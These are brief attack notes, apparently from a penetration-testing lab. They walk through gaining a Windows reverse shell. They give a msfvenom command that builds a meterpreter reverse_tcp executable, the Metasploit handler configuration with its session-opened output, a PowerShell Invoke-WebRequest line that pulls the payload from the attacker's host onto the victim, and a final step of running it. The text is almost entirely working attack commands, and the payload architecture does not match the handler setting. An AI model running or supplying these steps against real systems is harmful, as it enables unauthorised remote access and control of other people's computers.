Initial attack:

1.

Craft reverse shell payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.x LPORT=4444 -f exe -o reverse_shell.exe

msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.10
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.10:4444
[*] Sending stage (179779 bytes) to 192.168.2.15
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.2.15:49158) at 2023-07-03 15:25:01 -0400

meterpreter >

Grabbing payload on victim:
Invoke-WebRequest -Uri http://192.168.1.x:8080/reverse_shell.exe -OutFile C:\Users\Public\reverse_shell.exe

Execute the payload, and we have control now on kali linux via meterpreter